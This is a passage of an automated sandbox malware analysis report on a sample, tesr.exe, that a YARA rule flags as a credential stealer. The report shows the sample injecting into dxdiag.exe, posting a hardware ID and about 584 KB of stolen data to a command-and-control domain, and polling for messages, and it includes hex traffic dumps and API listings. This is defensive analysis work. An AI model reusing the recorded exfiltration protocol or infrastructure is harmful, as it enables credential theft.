00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 Data Ascii: h'F3Wun 4F([:7s~X`nO`i
2025-01-13 07:34:31 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ugj5qco8nhrgaqpl9v3d445bg; expires=Fri, 09 May 2025 01:21:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUvF%2FFLGEYyAsqoaYBfSmD5s6MMHgmGv9brqahFSSOn9Ngm0td8jV3XLJCdrOwwwRsaFYfpxrX5%2F0qqaC2tjT6vPoMM5i12O1B0ohrY1T2B%2BSl3dZU9xjipiORHgii%2BY0ynS76Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b449cd444379-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&min_rtt=1773&rtt_var=686&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21508&delivery_rate=1646926&cwnd=210&unsent_bytes=0&cid=fd58f16d8ccea6c1&ts=636&x=0"
2025-01-13 07:34:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-13 07:34:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49742	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:32 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5NB1T9VDRO9LG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1231 Host: mutterunurse.click
2025-01-13 07:34:32 UTC	1231	OUT	Data Raw: 2d 2d 35 4e 42 31 54 39 56 44 52 4f 39 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 35 4e 42 31 54 39 56 44 52 4f 39 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 4e 42 31 54 39 56 44 52 4f 39 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 4d 6e 4c 71 37 2d 2d 52 4c 43 0d 0a 2d 2d 35 4e 42 31 54 39 56 44 52 4f 39 4c 47 Data Ascii: --5NB1T9VDRO9LGContent-Disposition: form-data; name="hwid"AD25FE18D17A68A323D904AF30EFEBBC--5NB1T9VDRO9LGContent-Disposition: form-data; name="pid"1--5NB1T9VDRO9LGContent-Disposition: form-data; name="lid"xMnLq7--RLC--5NB1T9VDRO9LG
2025-01-13 07:34:32 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4dvlk8kg5g3c59788vg9mqelfd; expires=Fri, 09 May 2025 01:21:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzecRIUaaSGt70lP1A6uJEk%2Fidq6YYpyiUy5ki0Q9twbpDmn5BQcoLiQSlzt02JaP6lL%2F%2BEm5peDrxwLM6TNGD0jtjCxlJhOMXYgiytOiYI3yv80dcO9KN0AZKR55xNq%2F9U8i5w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b452d9f041cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1634&rtt_var=638&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2145&delivery_rate=1682997&cwnd=169&unsent_bytes=0&cid=300c54d7130e1d3b&ts=495&x=0"
2025-01-13 07:34:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-13 07:34:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49753	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J9WN8UYPFXGQ22X3T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584195 Host: mutterunurse.click
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: 2d 2d 4a 39 57 4e 38 55 59 50 46 58 47 51 32 32 58 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 39 57 4e 38 55 59 50 46 58 47 51 32 32 58 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 39 57 4e 38 55 59 50 46 58 47 51 32 32 58 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 4d 6e 4c 71 37 2d 2d 52 4c 43 0d 0a 2d 2d 4a Data Ascii: --J9WN8UYPFXGQ22X3TContent-Disposition: form-data; name="hwid"AD25FE18D17A68A323D904AF30EFEBBC--J9WN8UYPFXGQ22X3TContent-Disposition: form-data; name="pid"1--J9WN8UYPFXGQ22X3TContent-Disposition: form-data; name="lid"xMnLq7--RLC--J
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: 4f 2d 4e e9 b8 20 ae ae c3 a2 36 3d a2 76 c5 61 19 cd ce 1a 27 16 24 b2 6e d6 dd 38 e5 c3 34 9b 6a da d6 b1 78 ff 3b 88 8e 0a 7e 06 99 e3 49 b2 11 51 f0 0c ea c4 dd e6 80 5d 5b 0c 4c 83 26 96 77 4b aa c9 0c 83 f8 9d 5b 62 a4 cb 10 69 fd 74 df b5 73 c4 de 43 d1 b0 af c8 0c 2f 83 89 6a 9d 58 13 ec 29 1c 8a 64 f2 93 54 74 26 0d 00 c6 e6 78 19 fe 14 85 96 76 fa 71 ea 71 63 15 c2 39 f3 1c 41 ea ec 86 22 a3 de 93 12 76 07 1b ca 8d 92 86 28 48 da 6f 9c e2 52 44 cb fd f4 88 26 f0 6d 4a 65 bd 43 25 27 58 85 19 f7 29 54 b3 bc c5 8f 61 d0 a6 f0 e1 9c 93 1e 58 92 ec cb 4a 8f 73 f9 db fb 71 85 40 12 bf 5a c2 0d 43 ac af 4e 6f 8a 9a 33 69 12 75 98 d5 e9 51 ce 2d 28 7f 56 ab 5c 9b 9e bc 58 b7 c3 34 12 c9 4e 43 51 fc 30 97 74 9a 03 c3 0a fb 61 6e 81 e9 6f e3 e7 c6 6b ec Data Ascii: O-N 6=va'$n84jx;~IQ][L&wK[bitsC/jX)dTt&xvqqc9A"v(HoRD&mJeC%'X)TaXJsq@ZCNo3iuQ-(V\X4NCQ0tanok
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: bb 8c d0 9f 31 69 04 a7 9f 99 5d 9a f2 a2 7e ab 31 de 4b 61 8a 05 31 29 1e c2 49 8f 7c 0f 56 bb e5 57 24 57 7c b4 4e 77 8a a4 7b b4 71 9f 63 0e b8 55 89 9f bb bd f8 9f 80 dd 5f b7 3e e1 4f fe 24 2d 0e 8f f5 8a 2e 62 e2 75 c1 54 8d 18 f6 d9 e7 2b de 7c 78 19 e5 4e 1b 34 cc 3d 7d 07 8d eb 81 18 d6 8e 72 ea 1b eb 63 df b1 9b bd 0f 9e ed 9a 0e 4a b5 05 86 1f ff b6 c7 60 bc fb 56 ea c7 92 25 c3 fc 4c 5c d4 f9 5b 6d 6f cf f1 61 8f 29 bb c7 da 45 8a e2 2e 69 96 f7 f2 92 f8 c5 89 18 30 77 62 9e 51 77 90 72 0c 2e 10 a5 ea a4 d8 22 59 fa ef 67 1f f1 a2 b4 7a 9f d8 bf 13 8b b0 7c 98 65 48 35 78 93 53 9d 95 fe a5 9b de ea 13 3d 7b f5 fd e2 1b 99 cd d3 c3 4f 46 78 ee 51 aa 6e 53 a8 15 8c 7c ee d2 03 33 eb 1e 87 79 50 db d2 94 3a da 6e c1 81 4b 56 87 40 c8 fb cc 2d 81 Data Ascii: 1i]~1Ka1)I\|VW$W\|Nw{qcU_>O$-.buT+\|xN4=}rcJ`V%L\[moa)E.i0wbQwr."Ygz\|eH5xS={OFxQnS\|3yP:nKV@-
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: d3 c5 b8 51 d2 7c ed 59 5c ae 7a 90 e0 a8 a7 02 9b 3b 39 3d 36 ac 9c 08 70 c3 d2 df ae 8c 6f e0 c2 a3 85 6e 4c 1f 2e dc 9a 73 e3 1b 31 d2 df 8a ba e8 a3 4f ef 2b 78 14 7a 6f d6 33 66 65 7f df a6 c0 7e ba 10 b6 f8 09 fb 46 72 75 27 9f ab 9e d0 de c8 9d db b3 fb 2d f9 d1 69 1c 92 eb 96 2b f5 30 14 69 12 8c 38 77 3f 9c e9 2b e4 f5 14 b4 aa 86 db 9b c8 2f 3a e1 6d 54 70 43 9b 8e b0 27 69 ed d2 81 c1 be ef 7c f8 b2 e1 74 3b 0e 8d 63 a3 b5 30 aa b5 55 f8 9a 96 7a 74 8f 02 b9 b0 d6 98 f5 d1 6f cb 58 3d 28 6c 6b e5 db 55 cb 44 2b 21 d2 a9 41 24 d5 1c 06 8b 97 07 17 b1 7a 72 30 a2 a1 26 69 df 5d d3 4b 67 18 67 13 8f 80 5e 11 f4 29 6b 32 d9 16 d8 9a 12 73 af a8 44 ee 7d 27 20 77 08 cc 1a 8e 6c de be ce 07 ca 34 63 4f 24 45 96 ef 0e 82 83 fd 42 40 00 d6 23 09 64 62 Data Ascii: Q\|Y\z;9=6ponL.s1O+xzo3fe~Fru'-i+0i8w?+/:mTpC'i\|t;c0UztoX=(lkUD+!A$zr0&i]Kgg^)k2sD}' wl4cO$EB@#db
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: fc 93 3e 84 c8 04 78 47 45 84 59 ba fe 43 e2 2e 30 02 ea b6 0a 40 77 58 f6 4a 5f 54 05 5d 52 8c e7 70 d1 3a 82 05 25 2c 59 4b 9c 69 f2 b4 55 c6 e8 e0 c1 b8 10 b9 a5 1d d0 37 86 5e 81 68 15 de 76 ec 4b 39 ac 22 78 d9 c0 1e 6e a6 8b 8b ca d4 d9 80 77 c4 e1 b2 2c c8 ef 4e a6 0c d7 3a 02 42 86 78 b3 56 e1 f6 46 a7 f7 03 3d cd 9d 9f de f8 88 6b 8e d5 1e 07 29 74 1b 26 f7 ef 36 39 7c f9 e6 45 e8 17 ea 32 c7 77 58 23 a3 fa c5 4e bd a9 4e ce 4e 86 8f e7 2b 7e fc f9 8f 53 b4 24 fc fa b3 a2 b8 28 10 26 b5 f8 e6 a4 ad 27 6f ea e2 d5 d7 c4 e9 de 4e 0b 37 b8 f1 b1 88 a0 f2 ac 68 e3 c2 a9 30 a8 ec 11 75 9f 8a 87 1b eb c1 98 8c df 53 46 f8 68 e3 b8 08 bf 09 37 c1 4d 07 a4 19 33 eb de 1e 0f 3f e5 cc 64 61 e9 a8 0e d9 bc 57 ca 81 00 ce 19 11 c4 26 04 35 44 f7 71 9f 1d e5 Data Ascii: >xGEYC.0@wXJ_T]Rp:%,YKiU7^hvK9"xnw,N:BxVF=k)t&69\|E2wX#NNN+~S$(&'oN7h0uSFh7M3?daW&5Dq
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: 8f f5 b4 71 48 1b 77 35 56 e9 86 1e 1b a5 06 3c bc 0c 76 f6 6c 1b 8e ee 31 b1 d6 63 5d 98 c4 8b 27 52 5c 44 13 c3 1a f5 27 25 50 d7 85 5d 73 97 55 c7 64 4a 52 52 7c 35 0f 4c 24 17 dd d5 46 a9 c8 af 97 6e 57 96 42 ad 7d a4 36 c8 4e d2 b3 9a 38 a3 26 f2 f0 c0 1d fa 29 55 08 ec 5b 12 a1 d6 6c e0 f0 21 9e 10 dd a8 16 f8 ce bc 67 af dd 57 bb 31 51 30 39 90 34 f1 12 10 f6 31 2e 48 31 e6 1b f7 fa 11 da 3e c3 27 f8 46 00 e3 22 02 a1 9e e0 e0 3b 50 ab 04 28 47 fc 20 00 fa 3d 18 ae 1e f3 48 39 12 fc e1 b2 4d 49 18 2b c3 d3 3e 7f 63 5d e4 20 a9 9c 1b 7f 97 7c 8e c6 2c 70 6a ae 5a eb fb a1 1c fe 97 a7 98 6b ba 9e 59 a0 90 b8 de 8c 26 4b 0a 98 3d 9c 5d d9 ae 32 ba 67 50 c4 6b b5 c6 53 fd 8c fb d7 6a 76 7a d5 62 e6 c4 20 7b 41 8f 4b 4d 96 6a e0 7d 72 2a da f3 83 93 ae Data Ascii: qHw5V<vl1c]'R\D'%P]sUdJRR\|5L$FnWB}6N8&)U[l!gW1Q0941.H1>'F";P(G =H9MI+>c] \|,pjZkY&K=]2gPkSjvzb {AKMj}r*
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: cc bb 29 36 e7 a8 e5 5b 1b 04 77 2d 17 6b 83 73 5f 71 df 6c 7f f6 44 85 c4 ef f9 31 87 05 0a 13 f3 a2 0c 51 cc f5 e6 5a d3 be 5e 2f c5 30 15 87 5c 58 b3 75 2e e7 90 8a c0 ce c5 75 3f 3e ca ab 55 69 46 b2 3f f4 4e 99 c4 c2 00 d1 f5 ed 20 b6 cc 78 e9 ca 72 cd ed f9 3b dc 39 8f 47 17 30 20 91 5a b3 b1 da 4a 35 fd 0d 98 68 65 ae f3 a9 4f 5b b9 ca 0b 6f 35 45 3a 87 bb 34 11 ad 57 3c 4f 93 a6 12 66 d6 17 37 92 71 e3 20 7c 66 6a c1 b2 b4 cf a5 99 4e 9b e2 03 54 f6 73 1f 40 41 6d ac 41 54 01 40 3b 0d d1 45 83 c1 7c 8b 1f 38 2e 02 1c 68 1a dc a1 ad ce a1 4b 41 39 f3 34 93 9b 68 e6 ca c0 3f 01 d2 f6 13 a8 3b bc a1 17 71 9f 9c 80 ad 59 16 bd c6 90 42 51 8f 36 23 23 f4 e0 e6 c5 7b 93 94 03 d5 21 36 07 de 79 da f7 ee ad 6c 87 6a 2c 85 d0 33 4b 23 a4 be be b2 52 c7 78 Data Ascii: )6[w-ks_qlD1QZ^/0\Xu.u?>UiF?N xr;9G0 ZJ5heO[o5E:4W<Of7q \|fjNTs@AmAT@;E\|8.hKA94h?;qYBQ6##{!6ylj,3K#Rx
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: e1 5a 7b 6d 1d a6 da d4 57 c8 8b cb aa ee 93 df 16 50 58 49 db 90 1f 2a 06 85 cb 73 78 b1 dc 83 a2 b6 4d 57 46 02 eb 12 05 ab 97 50 70 94 ac d9 36 82 f6 83 bf fa 10 a2 e1 13 02 68 e2 29 47 56 90 59 4a e0 f4 4b 32 c8 86 d5 31 9c 4d 08 4e 25 92 05 37 cf ec 03 bd 3a 63 bf 5e 3d 0b 83 6d a4 c1 85 18 c8 06 af f3 02 e4 2b e3 06 fe d2 cd d6 96 02 4d 92 14 31 30 2b 0a b5 42 a4 08 aa d9 0f e1 9c 0b 44 6b 31 ce e5 c8 34 9f 0d 9f 0b dc 44 66 c9 e1 f1 e2 bd 86 43 42 98 03 d8 e6 e3 61 aa a8 d3 9a 90 00 b3 a0 9e 18 03 da 36 07 6a 47 52 ce 92 10 e5 97 c4 85 21 22 3c 80 1d 87 7e bc 6f 54 4c c0 02 5e 48 4c f1 e1 55 f8 33 40 11 f3 ef 37 7d 40 41 ef 15 42 a2 51 f0 34 b8 04 b2 0b 38 58 e6 7f 26 bb a3 23 14 4a 15 09 7a e8 9f 73 59 40 03 18 94 e6 c5 99 c4 a2 ad 5a 84 ea 56 62 Data Ascii: Z{mWPXI*sxMWFPp6h)GVYJK21MN%7:c^=m+M10+BDk14DfCBa6jGR!"<~oTL^HLU3@7}@ABQ48X&#JzsY@ZVb
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: 6f a5 9e d5 e4 83 d0 6d 19 ff 7b 7c 92 ad 41 44 1b d4 eb 02 0e 7e 0b dd 9b fc a7 2a b8 2e c4 47 30 bd 81 ca 8b fb fc 6e ae 4a b4 5a fe 4d 0f 0e c1 0b 7d 5a 11 6a bc 6a 3e 20 1f 27 c5 39 7e 24 49 11 85 da df 95 ad 6e 17 84 43 b9 a6 95 a9 1e 41 21 d7 33 c4 24 67 74 f6 f1 f3 bb 57 60 b7 bd 5b e5 7b f0 13 6f b7 f2 d6 0f 70 18 9b 41 ee 42 0c 1d 6d 4b bb 90 70 6a 2f f7 af 3d 8c 47 90 44 43 ba d6 d5 64 82 a4 b6 f7 b0 92 7d e8 41 ee e3 10 83 87 89 61 c8 77 53 e4 af ab 24 cd 1b cf be f0 a7 4f ff f7 da 53 36 12 cf 45 44 ad c8 4b 92 d8 fc c6 ec 3c f1 e0 fd a2 28 80 9a cd bc a8 d1 cc 8e 66 98 3e 89 d4 db 7c 5d ab 6e c5 5f e3 d5 8a 7c a3 94 c0 58 35 f4 26 08 ef 9f 0e 34 69 95 94 f9 f7 18 fc a9 3f 9e 92 f0 89 a6 82 7d ef ef b7 2e bf 6e 27 4b 93 23 ca 0f 06 c7 ac 7f d9 Data Ascii: om{\|AD~*.G0nJZM}Zjj> '9~$InCA!3$gtW`[{opABmKpj/=GDCd}AawS$OS6EDK<(f>\|]n_\|X5&4i?}.n'K#
2025-01-13 07:34:33 UTC	15331	OUT	Data Raw: e9 4c ec 3f bd 92 2c 2b 76 a8 6e d7 a1 9b 3b d2 70 29 77 44 4e 4f 6a 14 89 ce ed 7e 57 e3 b7 7e bd 2f 29 ec d2 6b 4c 6f 94 ac 3c c4 ab 78 eb ed 17 c3 4b a0 6e fa 51 a8 39 67 f0 a3 2c 87 d7 5f 36 b0 1e e1 db 76 13 bb f2 bd 41 74 9c bd 73 70 a0 41 cc 03 af 14 de 46 ed 52 a6 fe 38 fb 63 13 e0 0d 7e da 30 2b a5 1b 3a f0 2e 94 1b 3c 9b 8d 96 2f ed 3c a7 3c e7 7c 73 78 27 7b f2 74 67 45 32 6e 75 1b 7b cd 62 a1 af 1c 5d 33 e3 5c c3 d6 28 99 a8 95 ed 1d 8d b1 11 07 ac 77 96 d5 7f 06 07 0e 0b 81 90 e9 9f 00 0c 04 fd f1 9c 65 1f 0f 13 d0 25 3d 13 60 dc 8c 64 0c 08 42 c4 84 13 9e 45 ff 68 28 99 cd f6 36 01 06 1b ff 05 8f 25 d7 31 ff 6f b9 83 36 44 de 88 ba f1 f3 e0 53 d1 8d 58 c5 de f0 94 2d 06 38 3d 94 89 b8 23 cb e6 aa 42 58 83 84 76 34 12 3b 4b 52 38 5b 8a 9a 10 Data Ascii: L?,+vn;p)wDNOj~W~/)kLo<xKnQ9g,_6vAtspAFR8c~0+:.</<<\|sx'{tgE2nu{b]3\(we%=`dBEh(6%1o6DSX-8=#BXv4;KR8[
2025-01-13 07:34:35 UTC	1143	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u6md5aeil0997ujdolnsojvv6n; expires=Fri, 09 May 2025 01:21:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oYsM2UKTH2n2obqv74eZnG6cCZZJSmuGntXx0GgxfgoPpceAipXrk%2FV0h3uRo9m%2Fjd89Ds6OQmFOt%2Fq8K6gwu3ULFTLv6gaUNR1pI75V3pS%2F9Pgg9sweo9Oj3aOLJH3C%2B%2FDG%2B80%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b45cfc16c34b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1462&rtt_var=565&sent=357&recv=599&lost=0&retrans=0&sent_bytes=2847&recv_bytes=586787&delivery_rate=1907250&cwnd=172&unsent_bytes=0&cid=0dd5aafaeacc1225&ts=1655&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49770	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: mutterunurse.click
2025-01-13 07:34:35 UTC	80	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 4d 6e 4c 71 37 2d 2d 52 4c 43 26 6a 3d 26 68 77 69 64 3d 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=xMnLq7--RLC&j=&hwid=AD25FE18D17A68A323D904AF30EFEBBC
2025-01-13 07:34:36 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v269mps88j3lrfbndr1gtp5mgu; expires=Fri, 09 May 2025 01:21:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h4B3HoOvgy4k60JhpFUFFMN3BT3ppJY2saLM84gomaI7lawH7L5GjpOECC1mKJEtYzdAZw0crpYz323OND%2B1yLpPfNCj4KVoUVcEmnXWA1slFiKs84C5cGRyKhh%2FazMD5i5eZhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b46a7d476a5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1702&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=982&delivery_rate=1692753&cwnd=209&unsent_bytes=0&cid=63b91b715df5d07f&ts=471&x=0"
2025-01-13 07:34:36 UTC	54	IN	Data Raw: 33 30 0d 0a 78 31 53 71 74 52 6e 72 38 36 2f 41 63 67 64 6c 7a 43 50 43 78 4e 66 7a 31 35 70 69 34 33 36 6b 4f 2b 65 43 41 30 71 33 48 5a 71 63 43 51 3d 3d 0d 0a Data Ascii: 30x1SqtRnr86/AcgdlzCPCxNfz15pi436kO+eCA0q3HZqcCQ==
2025-01-13 07:34:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:34:22
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\tesr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\tesr.exe"
Imagebase:	0x7ff79bbb0000
File size:	12'735'488 bytes
MD5 hash:	4F96B4D0061D45B08D73E3526D82630F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:34:23
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\dxdiag.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\dxdiag.exe"
Imagebase:	0xa50000
File size:	222'720 bytes
MD5 hash:	24D3F0DB6CCF0C341EA4F6B206DF2EDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2241070978.0000000002C45000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FF79BC16E2C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF79BC16E58
GetCurrentThreadId.KERNEL32 ref: 00007FF79BC16E66
GetCurrentProcessId.KERNEL32 ref: 00007FF79BC16E72
QueryPerformanceCounter.KERNEL32 ref: 00007FF79BC16E82

Memory Dump Source

Source File: 00000000.00000002.2169216476.00007FF79BBB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BBB0000, based on PE: true

Associated: 00000000.00000002.2169196674.00007FF79BBB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169352154.00007FF79BC2E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169352154.00007FF79C62E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170987736.00007FF79C65A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2171083939.00007FF79C787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2171083939.00007FF79C78A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2171117121.00007FF79C78C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2171134946.00007FF79C792000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79bbb0000_tesr.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ae5a398457f13fa23937a4f6b06aecda28dde2fe2fa2895fbf8668ff00ac38b9
Instruction ID: beb67cf66339755e64787ee0e4264f61f5d90535216bd8dd939ee9a7a3252694
Opcode Fuzzy Hash: ae5a398457f13fa23937a4f6b06aecda28dde2fe2fa2895fbf8668ff00ac38b9
Instruction Fuzzy Hash: CC114C22B18B028AEF10EF74E8552B873B4FB59758F841A31EB6E427A4DF78D154C350

Analysis Process: dxdiag.exePID: 5392, Parent PID: 2380COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	68.2%
Total number of Nodes:	289
Total number of Limit Nodes:	24

Executed Functions

Function 00431BB0 Relevance: 47.4, APIs: 2, Strings: 25, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431BF9
GetSystemMetrics.USER32 ref: 00431C09

Strings

S%C, xrefs: 00431E14
="C, xrefs: 00431E98
="C, xrefs: 00431EDA
, xrefs: 00431CF6
="C, xrefs: 00431DDD
="C, xrefs: 00431EE5
="C, xrefs: 00431DFE
